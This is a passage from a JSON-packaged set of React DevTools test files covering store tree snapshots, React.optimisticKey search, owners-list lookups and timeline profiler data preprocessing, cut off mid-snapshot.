4,\n          }),\n          containerA,\n        );\n        ReactDOM.render(\n          React.createElement(Parent, {\n            key: 'B',\n            count: 1,\n          }),\n          containerB,\n        );\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(containerB));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(containerA));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should not filter DOM nodes from the store tree', () => {\n      const Grandparent = ({flip}) =>\n        React.createElement(\n          'div',\n          null,\n          React.createElement(\n            'div',\n            null,\n            React.createElement(Parent, {\n              flip: flip,\n            }),\n          ),\n          React.createElement(Parent, {\n            flip: flip,\n          }),\n          React.createElement(Nothing, null),\n        );\n      const Parent = ({flip}) =>\n        React.createElement(\n          'div',\n          null,\n          flip ? 'foo' : null,\n          React.createElement(Child, null),\n          flip && [null, 'hello', 42],\n          flip ? 'bar' : 'baz',\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      const Nothing = () => null;\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 4,\n            flip: false,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <div>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(1), false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <div>\n              ▸ <Parent>\n                <Nothing>\n      `);\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 4,\n            flip: true,\n          }),\n          container,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <div>\n              ▸ <Parent>\n                <Nothing>\n      `);\n      act(() => ReactDOM.unmountComponentAtNode(container));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n    it('should support expanding parts of the tree', () => {\n      const Grandparent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          React.createElement(Parent, {\n            count: count,\n          }),\n          React.createElement(Parent, {\n            count: count,\n          }),\n        );\n      const Parent = ({count}) =>\n        React.createElement(\n          'div',\n          null,\n          new Array(count).fill(true).map((_, index) =>\n            React.createElement(Child, {\n              key: index,\n            }),\n          ),\n        );\n      const Child = () => React.createElement('div', null, 'Hi!');\n      act(() =>\n        ReactDOM.render(\n          React.createElement(Grandparent, {\n            count: 2,\n          }),\n          document.createElement('div'),\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n      const grandparentID = store.getElementIDAtIndex(0);\n      act(() => store.toggleIsCollapsed(grandparentID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <div>\n      `);\n      const parentDivID = store.getElementIDAtIndex(1);\n      act(() => store.toggleIsCollapsed(parentDivID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <Parent>\n              ▸ <Parent>\n      `);\n      const parentOneID = store.getElementIDAtIndex(2);\n      const parentTwoID = store.getElementIDAtIndex(3);\n      act(() => store.toggleIsCollapsed(parentOneID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▸ <div>\n              ▸ <Parent>\n      `);\n      act(() => store.toggleIsCollapsed(parentTwoID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▾ <Parent>\n                ▸ <div>\n              ▾ <Parent>\n                ▸ <div>\n      `);\n      act(() => store.toggleIsCollapsed(parentOneID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <Parent>\n              ▾ <Parent>\n                ▸ <div>\n      `);\n      act(() => store.toggleIsCollapsed(parentTwoID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <div>\n              ▸ <Parent>\n              ▸ <Parent>\n      `);\n      act(() => store.toggleIsCollapsed(grandparentID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n    });\n\n    it('should support reordering of children', () => {\n      const Root = ({children}) => React.createElement('div', null, children);\n      const Component = () => React.createElement('div', null);\n      const Foo = () =>\n        React.createElement('div', null, [\n          React.createElement(Component, {\n            key: '0',\n          }),\n        ]);\n      const Bar = () =>\n        React.createElement('div', null, [\n          React.createElement(Component, {\n            key: '0',\n          }),\n          React.createElement(Component, {\n            key: '1',\n          }),\n        ]);\n      const foo = React.createElement(Foo, {\n        key: 'foo',\n      });\n      const bar = React.createElement(Bar, {\n        key: 'bar',\n      });\n      const container = document.createElement('div');\n      act(() =>\n        ReactDOM.render(React.createElement(Root, null, [foo, bar]), container),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n      act(() =>\n        ReactDOM.render(React.createElement(Root, null, [bar, foo]), container),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▸ <div>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(1), false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▸ <Bar key=\"bar\">\n              ▸ <Foo key=\"foo\">\n      `);\n      act(() => {\n        store.toggleIsCollapsed(store.getElementIDAtIndex(3), false);\n        store.toggleIsCollapsed(store.getElementIDAtIndex(2), false);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <div>\n              ▾ <Bar key=\"bar\">\n                ▸ <div>\n              ▾ <Foo key=\"foo\">\n                ▸ <div>\n      `);\n      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n    });\n  });\n  describe('StrictMode compliance', () => {\n    it('should mark all elements as strict mode compliant', () => {\n      const App = () => null;\n      const container = document.createElement('div');\n      act(() => ReactDOM.render(React.createElement(App, null), container));\n      expect(store.getElementAtIndex(0).isStrictModeNonCompliant).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/optimisticKeyDevToolsIntegration.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('Store React.optimisticKey', () => {\n  let act;\n  let actAsync;\n  let React;\n  let TestRenderer;\n  let bridge;\n  let store;\n\n  let BridgeContext;\n  let StoreContext;\n  let TreeContext;\n\n  let dispatch;\n  let state;\n\n  beforeAll(() => {\n    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes\n    Element.prototype.getClientRects = function (this: Element) {\n      const textContent = this.textContent;\n      return [\n        new DOMRect(1, 2, textContent.length, textContent.split('\\n').length),\n      ];\n    };\n  });\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    store = global.store;\n    bridge = global.bridge;\n\n    React = require('react');\n\n    const utils = require('./utils');\n    act = utils.act;\n    actAsync = utils.actAsync;\n    TestRenderer = utils.requireTestRenderer();\n\n    BridgeContext =\n      require('react-devtools-shared/src/devtools/views/context').BridgeContext;\n    StoreContext =\n      require('react-devtools-shared/src/devtools/views/context').StoreContext;\n    TreeContext = require('react-devtools-shared/src/devtools/views/Components/TreeContext');\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  const Capture = () => {\n    dispatch = React.useContext(TreeContext.TreeDispatcherContext);\n    state = React.useContext(TreeContext.TreeStateContext);\n    return null;\n  };\n\n  const Contexts = () => {\n    return (\n      <BridgeContext.Provider value={bridge}>\n        <StoreContext.Provider value={store}>\n          <TreeContext.TreeContextController>\n            <Capture />\n          </TreeContext.TreeContextController>\n        </StoreContext.Provider>\n      </BridgeContext.Provider>\n    );\n  };\n\n  // @reactVersion >= 19.3\n  it('is included in the tree', async () => {\n    if (React.optimisticKey === undefined) {\n      return;\n    }\n\n    function Component() {\n      return null;\n    }\n\n    await actAsync(() => {\n      render(<Component key={React.optimisticKey} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Component key=\"React.optimisticKey\">\n    `);\n    expect(store.getElementAtIndex(0)).toEqual(\n      expect.objectContaining({key: 'React.optimisticKey'}),\n    );\n  });\n\n  // @reactVersion >= 19.3\n  it('is searchable', async () => {\n    if (React.optimisticKey === undefined) {\n      return;\n    }\n    await actAsync(() => {\n      render(<React.Fragment key={React.optimisticKey} />);\n    });\n    let renderer;\n    act(() => (renderer = TestRenderer.create(<Contexts />)));\n\n    expect(state).toMatchInlineSnapshot(`\n      [root]\n           <Fragment key=\"React.optimisticKey\">\n    `);\n\n    act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'optimistic'}));\n    act(() => renderer.update(<Contexts />));\n\n    expect(state).toMatchInlineSnapshot(`\n      [root]\n           <Fragment key=\"React.optimisticKey\">\n    `);\n\n    act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'react'}));\n    act(() => renderer.update(<Contexts />));\n\n    expect(state).toMatchInlineSnapshot(`\n      [root]\n      →    <Fragment key=\"React.optimisticKey\">\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/ownersListContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof ReactTestRenderer from 'react-test-renderer';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('OwnersListContext', () => {\n  let React;\n  let TestRenderer: ReactTestRenderer;\n  let bridge: FrontendBridge;\n  let store: Store;\n  let utils;\n\n  let BridgeContext;\n  let OwnersListContext;\n  let OwnersListContextController;\n  let StoreContext;\n  let TreeContextController;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n    TestRenderer = utils.requireTestRenderer();\n\n    BridgeContext =\n      require('react-devtools-shared/src/devtools/views/context').BridgeContext;\n    OwnersListContext =\n      require('react-devtools-shared/src/devtools/views/Components/OwnersListContext').OwnersListContext;\n    OwnersListContextController =\n      require('react-devtools-shared/src/devtools/views/Components/OwnersListContext').OwnersListContextController;\n    StoreContext =\n      require('react-devtools-shared/src/devtools/views/context').StoreContext;\n    TreeContextController =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeContextController;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  const Contexts = ({children, defaultOwnerID = null}) => (\n    <BridgeContext.Provider value={bridge}>\n      <StoreContext.Provider value={store}>\n        <TreeContextController defaultOwnerID={defaultOwnerID}>\n          <OwnersListContextController>{children}</OwnersListContextController>\n        </TreeContextController>\n      </StoreContext.Provider>\n    </BridgeContext.Provider>\n  );\n\n  async function getOwnersListForOwner(owner) {\n    let ownerDisplayNames = null;\n\n    function Suspender() {\n      const read = React.useContext(OwnersListContext);\n      const owners = read(owner.id);\n      ownerDisplayNames = owners.map(({displayName}) => displayName);\n      return null;\n    }\n\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts defaultOwnerID={owner.id}>\n          <React.Suspense fallback={null}>\n            <Suspender owner={owner} />\n          </React.Suspense>\n        </Contexts>,\n      ),\n    );\n\n    expect(ownerDisplayNames).not.toBeNull();\n\n    return ownerDisplayNames;\n  }\n\n  it('should fetch the owners list for the selected element', async () => {\n    const Grandparent = () => <Parent />;\n    const Parent = () => {\n      return (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n    };\n    const Child = () => null;\n\n    utils.act(() => render(<Grandparent />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Grandparent>\n          ▾ <Parent>\n              <Child>\n              <Child>\n    `);\n\n    const parent = ((store.getElementAtIndex(1): any): Element);\n    const firstChild = ((store.getElementAtIndex(2): any): Element);\n\n    expect(await getOwnersListForOwner(parent)).toMatchInlineSnapshot(`\n      [\n        \"Grandparent\",\n        \"Parent\",\n      ]\n    `);\n\n    expect(await getOwnersListForOwner(firstChild)).toMatchInlineSnapshot(`\n      [\n        \"Grandparent\",\n        \"Parent\",\n        \"Child\",\n      ]\n    `);\n  });\n\n  it('should fetch the owners list for the selected element that includes filtered components', async () => {\n    store.componentFilters = [utils.createDisplayNameFilter('^Parent$')];\n\n    const Grandparent = () => <Parent />;\n    const Parent = () => {\n      return (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n    };\n    const Child = () => null;\n\n    utils.act(() => render(<Grandparent />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Grandparent>\n            <Child>\n            <Child>\n    `);\n\n    const firstChild = ((store.getElementAtIndex(1): any): Element);\n\n    expect(await getOwnersListForOwner(firstChild)).toMatchInlineSnapshot(`\n      [\n        \"Grandparent\",\n        \"Child\",\n      ]\n    `);\n  });\n\n  it('should include the current element even if there are no other owners', async () => {\n    store.componentFilters = [utils.createDisplayNameFilter('^Parent$')];\n\n    const Grandparent = () => <Parent />;\n    const Parent = () => null;\n\n    utils.act(() => render(<Grandparent />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Grandparent>\n    `);\n\n    const grandparent = ((store.getElementAtIndex(0): any): Element);\n\n    expect(await getOwnersListForOwner(grandparent)).toMatchInlineSnapshot(`\n      [\n        \"Grandparent\",\n      ]\n    `);\n  });\n\n  it('should include all owners for a component wrapped in react memo', async () => {\n    const InnerComponent = (props, ref) => <div ref={ref} />;\n    const ForwardRef = React.forwardRef(InnerComponent);\n    const Memo = React.memo(ForwardRef);\n    const Grandparent = () => {\n      const ref = React.createRef();\n      return <Memo ref={ref} />;\n    };\n\n    utils.act(() => render(<Grandparent />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Grandparent>\n          ▾ <InnerComponent> [Memo]\n              <InnerComponent> [ForwardRef]\n    `);\n\n    const wrapped = ((store.getElementAtIndex(2): any): Element);\n\n    expect(await getOwnersListForOwner(wrapped)).toMatchInlineSnapshot(`\n      [\n        \"Grandparent\",\n        \"InnerComponent\",\n        \"InnerComponent\",\n      ]\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/preprocessData-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nimport semver from 'semver';\n\nimport {getLegacyRenderImplementation, normalizeCodeLocInfo} from './utils';\nimport {ReactVersion} from '../../../../ReactVersions';\n\nconst ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;\n\nlet React = require('react');\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet utils;\nlet assertLog;\nlet waitFor;\n\ndescribe('Timeline profiler', () => {\n  describe('User Timing API', () => {\n    let currentlyNotClearedMarks;\n    let registeredMarks;\n    let featureDetectionMarkName = null;\n    let setPerformanceMock;\n\n    function createUserTimingPolyfill() {\n      featureDetectionMarkName = null;\n\n      currentlyNotClearedMarks = [];\n      registeredMarks = [];\n\n      // Remove file-system specific bits or version-specific bits of information from the module range marks.\n      function filterMarkData(markName) {\n        if (markName.startsWith('--react-internal-module-start')) {\n          return '--react-internal-module-start-  at filtered (<anonymous>:0:0)';\n        } else if (markName.startsWith('--react-internal-module-stop')) {\n          return '--react-internal-module-stop-  at filtered (<anonymous>:1:1)';\n        } else if (markName.startsWith('--react-version')) {\n          return '--react-version-<filtered-version>';\n        } else {\n          return markName;\n        }\n      }\n\n      // This is not a true polyfill, but it gives us enough to capture marks.\n      // Reference: https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API\n      return {\n        clearMarks(markName) {\n          markName = filterMarkData(markName);\n\n          currentlyNotClearedMarks = currentlyNotClearedMarks.filter(\n            mark => mark !== markName,\n          );\n        },\n        mark(markName, markOptions) {\n          markName = filterMarkData(markName);\n\n          if (featureDetectionMarkName === null) {\n            featureDetectionMarkName = markName;\n          }\n\n          registeredMarks.push(markName);\n          currentlyNotClearedMarks.push(markName);\n\n          if (markOptions != null) {\n            // This is triggers the feature detection.\n            markOptions.startTime++;\n          }\n        },\n      };\n    }\n\n    function eraseRegisteredMarks() {\n      registeredMarks.splice(0);\n    }\n\n    beforeEach(() => {\n      // Mock react/jsx-dev-runtime for React 16.x\n      // Although there are no tests in this suite which will run for React 16,\n      // Jest will report an error trying to resolve this dependency\n      if (semver.lt(ReactVersionTestingAgainst, '17.0.0')) {\n        jest.mock('react/jsx-dev-runtime', () => {});\n      }\n\n      utils = require('./utils');\n      utils.beforeEachProfiling();\n\n      React = require('react');\n      ReactDOM = require('react-dom');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n\n      if (typeof Scheduler.log !== 'function') {\n        // backwards compat for older scheduler versions\n        Scheduler.log = Scheduler.unstable_yieldValue;\n        Scheduler.unstable_clearLog = Scheduler.unstable_clearYields;\n        const InternalTestUtils = require('internal-test-utils');\n        assertLog = InternalTestUtils.assertLog;\n\n        // polyfill waitFor as Scheduler.toFlushAndYieldThrough\n        waitFor = expectedYields => {\n          let actualYields = Scheduler.unstable_clearYields();\n          if (actualYields.length !== 0) {\n            throw new Error(\n              'Log of yielded values is not empty. ' +\n                'Call expect(Scheduler).toHaveYielded(...) first.',\n            );\n          }\n          Scheduler.unstable_flushNumberOfYields(expectedYields.length);\n          actualYields = Scheduler.unstable_clearYields();\n          expect(actualYields).toEqual(expectedYields);\n        };\n      } else {\n        const InternalTestUtils = require('internal-test-utils');\n        assertLog = InternalTestUtils.assertLog;\n        waitFor = InternalTestUtils.waitFor;\n      }\n\n      setPerformanceMock =\n        require('react-devtools-shared/src/backend/profilingHooks').setPerformanceMock_ONLY_FOR_TESTING;\n      setPerformanceMock(createUserTimingPolyfill());\n\n      const store = global.store;\n\n      // Start profiling so that data will actually be recorded.\n      utils.act(() => store.profilerStore.startProfiling());\n\n      global.IS_REACT_ACT_ENVIRONMENT = true;\n    });\n\n    afterEach(() => {\n      // Verify all logged marks also get cleared.\n      expect(currentlyNotClearedMarks).toHaveLength(0);\n\n      eraseRegisteredMarks();\n      setPerformanceMock(null);\n    });\n\n    const {render: legacyRender} = getLegacyRenderImplementation();\n\n    describe('getLanesFromTransportDecimalBitmask', () => {\n      let getLanesFromTransportDecimalBitmask;\n\n      beforeEach(() => {\n        getLanesFromTransportDecimalBitmask =\n          require('react-devtools-timeline/src/import-worker/preprocessData').getLanesFromTransportDecimalBitmask;\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should return array of lane numbers from bitmask string', () => {\n        expect(getLanesFromTransportDecimalBitmask('1')).toEqual([0]);\n        expect(getLanesFromTransportDecimalBitmask('512')).toEqual([9]);\n        expect(getLanesFromTransportDecimalBitmask('3')).toEqual([0, 1]);\n        expect(getLanesFromTransportDecimalBitmask('1234')).toEqual([\n          1, 4, 6, 7, 10,\n        ]); // 2 + 16 + 64 + 128 + 1024\n        expect(\n          getLanesFromTransportDecimalBitmask('1073741824'), // 0b1000000000000000000000000000000\n        ).toEqual([30]);\n        expect(\n          getLanesFromTransportDecimalBitmask('2147483647'), // 0b1111111111111111111111111111111\n        ).toEqual(Array.from(Array(31).keys()));\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should return empty array if laneBitmaskString is not a bitmask', () => {\n        expect(getLanesFromTransportDecimalBitmask('')).toEqual([]);\n        expect(getLanesFromTransportDecimalBitmask('hello')).toEqual([]);\n        expect(getLanesFromTransportDecimalBitmask('-1')).toEqual([]);\n        expect(getLanesFromTransportDecimalBitmask('-0')).toEqual([]);\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should ignore lanes outside REACT_TOTAL_NUM_LANES', () => {\n        const REACT_TOTAL_NUM_LANES =\n          require('react-devtools-timeline/src/constants').REACT_TOTAL_NUM_LANES;\n\n        // Sanity check; this test may need to be updated when the no. of fiber lanes are changed.\n        expect(REACT_TOTAL_NUM_LANES).toBe(31);\n\n        expect(\n          getLanesFromTransportDecimalBitmask(\n            '4294967297', // 2^32 + 1\n          ),\n        ).toEqual([0]);\n      });\n    });\n\n    describe('preprocessData', () => {\n      let preprocessData;\n\n      beforeEach(() => {\n        preprocessData =\n          require('react-devtools-timeline/src/import-worker/preprocessData').default;\n      });\n\n      // These should be dynamic to mimic a real profile,\n      // but reprooducible between test runs.\n      let pid = 0;\n      let tid = 0;\n      let startTime = 0;\n\n      function createUserTimingEntry(data) {\n        return {\n          pid: ++pid,\n          tid: ++tid,\n          ts: ++startTime,\n          ...data,\n        };\n      }\n\n      function createProfilerVersionEntry() {\n        const SCHEDULING_PROFILER_VERSION =\n          require('react-devtools-timeline/src/constants').SCHEDULING_PROFILER_VERSION;\n        return createUserTimingEntry({\n          cat: 'blink.user_timing',\n          name: '--profiler-version-' + SCHEDULING_PROFILER_VERSION,\n        });\n      }\n\n      function createReactVersionEntry() {\n        return createUserTimingEntry({\n          cat: 'blink.user_timing',\n          name: '--react-version-<filtered-version>',\n        });\n      }\n\n      function createLaneLabelsEntry() {\n        return createUserTimingEntry({\n          cat: 'blink.user_timing',\n          name: '--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen',\n        });\n      }\n\n      function createNativeEventEntry(type, duration) {\n        return createUserTimingEntry({\n          cat: 'devtools.timeline',\n          name: 'EventDispatch',\n          args: {data: {type}},\n          dur: duration,\n          tdur: duration,\n        });\n      }\n\n      function creactCpuProfilerSample() {\n        return createUserTimingEntry({\n          args: {data: {startTime: ++startTime}},\n          cat: 'disabled-by-default-v8.cpu_profiler',\n          id: '0x1',\n          name: 'Profile',\n          ph: 'P',\n        });\n      }\n\n      function createBoilerplateEntries() {\n        return [\n          createProfilerVersionEntry(),\n          createReactVersionEntry(),\n          createLaneLabelsEntry(),\n        ];\n      }\n\n      function createUserTimingData(sampleMarks) {\n        const cpuProfilerSample = creactCpuProfilerSample();\n\n        const randomSample = createUserTimingEntry({\n          dur: 100,\n          tdur: 200,\n          ph: 'X',\n          cat: 'disabled-by-default-devtools.timeline',\n          name: 'RunTask',\n          args: {},\n        });\n\n        const userTimingData = [cpuProfilerSample, randomSample];\n\n        sampleMarks.forEach(markName => {\n          userTimingData.push({\n            pid: ++pid,\n            tid: ++tid,\n            ts: ++startTime,\n            args: {data: {}},\n            cat: 'blink.user_timing',\n            name: markName,\n            ph: 'R',\n          });\n        });\n\n        return userTimingData;\n      }\n\n      beforeEach(() => {\n        tid = 0;\n        pid = 0;\n        startTime = 0;\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should throw given an empty timeline', async () => {\n        await expect(async () => preprocessData([])).rejects.toThrow();\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should throw given a timeline with no Profile event', async () => {\n        const randomSample = createUserTimingEntry({\n          dur: 100,\n          tdur: 200,\n          ph: 'X',\n          cat: 'disabled-by-default-devtools.timeline',\n          name: 'RunTask',\n          args: {},\n        });\n\n        await expect(async () =>\n          preprocessData([randomSample]),\n        ).rejects.toThrow();\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should throw given a timeline without an explicit profiler version mark nor any other React marks', async () => {\n        const cpuProfilerSample = creactCpuProfilerSample();\n\n        await expect(\n          async () => await preprocessData([cpuProfilerSample]),\n        ).rejects.toThrow(\n          'Please provide profiling data from an React application',\n        );\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should throw given a timeline with React scheduling marks, but without an explicit profiler version mark', async () => {\n        const cpuProfilerSample = creactCpuProfilerSample();\n        const scheduleRenderSample = createUserTimingEntry({\n          cat: 'blink.user_timing',\n          name: '--schedule-render-512-',\n        });\n        const samples = [cpuProfilerSample, scheduleRenderSample];\n\n        await expect(async () => await preprocessData(samples)).rejects.toThrow(\n          'This version of profiling data is not supported',\n        );\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should return empty data given a timeline with no React scheduling profiling marks', async () => {\n        const cpuProfilerSample = creactCpuProfilerSample();\n        const randomSample = createUserTimingEntry({\n          dur: 100,\n          tdur: 200,\n          ph: 'X',\n          cat: 'disabled-by-default-devtools.timeline',\n          name: 'RunTask',\n          args: {},\n        });\n\n        const data = await preprocessData([\n          ...createBoilerplateEntries(),\n          cpuProfilerSample,\n          randomSample,\n        ]);\n        expect(data).toMatchInlineSnapshot(`\n                {\n                  \"batchUIDToMeasuresMap\": Map {},\n                  \"componentMeasures\": [],\n                  \"duration\": 0.005,\n                  \"flamechart\": [],\n                  \"internalModuleSourceToRanges\": Map {},\n                  \"laneToLabelMap\": Map {\n                    0 => \"Sync\",\n                    1 => \"InputContinuousHydration\",\n                    2 => \"InputContinuous\",\n                    3 => \"DefaultHydration\",\n                    4 => \"Default\",\n                    5 => \"TransitionHydration\",\n                    6 => \"Transition\",\n                    7 => \"Transition\",\n                    8 => \"Transition\",\n                    9 => \"Transition\",\n                    10 => \"Transition\",\n                    11 => \"Transition\",\n                    12 => \"Transition\",\n                    13 => \"Transition\",\n                    14 => \"Transition\",\n                    15 => \"Transition\",\n                    16 => \"Transition\",\n                    17 => \"Transition\",\n                    18 => \"Transition\",\n                    19 => \"Transition\",\n                    20 => \"Transition\",\n                    21 => \"Transition\",\n                    22 => \"Retry\",\n                    23 => \"Retry\",\n                    24 => \"Retry\",\n                    25 => \"Retry\",\n                    26 => \"Retry\",\n                    27 => \"SelectiveHydration\",\n                    28 => \"IdleHydration\",\n                    29 => \"Idle\",\n                    30 => \"Offscreen\",\n                  },\n                  \"laneToReactMeasureMap\": Map {\n                    0 => [],\n                    1 => [],\n                    2 => [],\n                    3 => [],\n                    4 => [],\n                    5 => [],\n                    6 => [],\n                    7 => [],\n                    8 => [],\n                    9 => [],\n                    10 => [],\n                    11 => [],\n                    12 => [],\n                    13 => [],\n                    14 => [],\n                    15 => [],\n                    16 => [],\n                    17 => [],\n                    18 => [],\n                    19 => [],\n                    20 => [],\n                    21 => [],\n                    22 => [],\n                    23 => [],\n                    24 => [],\n                    25 => [],\n                    26 => [],\n                    27 => [],\n                    28 => [],\n                    29 => [],\n                    30 => [],\n                  },\n                  \"nativeEvents\": [],\n                  \"networkMeasures\": [],\n                  \"otherUserTimingMarks\": [],\n                  \"reactVersion\": \"<filtered-version>\",\n                  \"schedulingEvents\": [],\n                  \"snapshotHeight\": 0,\n                  \"snapshots\": [],\n                  \"startTime\": 1,\n                  \"suspenseEvents\": [],\n                  \"thrownErrors\": [],\n                }\n          `);\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should process legacy data format (before lane labels were added)', async () => {\n        const cpuProfilerSample = creactCpuProfilerSample();\n\n        // Data below is hard-coded based on an older profile sample.\n        // Should be fine since this is explicitly a legacy-format test.\n        const data = await preprocessData([\n          ...createBoilerplateEntries(),\n          cpuProfilerSample,\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--schedule-render-512-',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--render-start-512',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--render-stop',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--commit-start-512',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--layout-effects-start-512',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--layout-effects-stop',\n          }),\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--commit-stop',\n          }),\n        ]);\n        expect(data).toMatchInlineSnapshot(`\n          {\n            \"batchUIDToMeasuresMap\": Map {\n              0 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.005,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 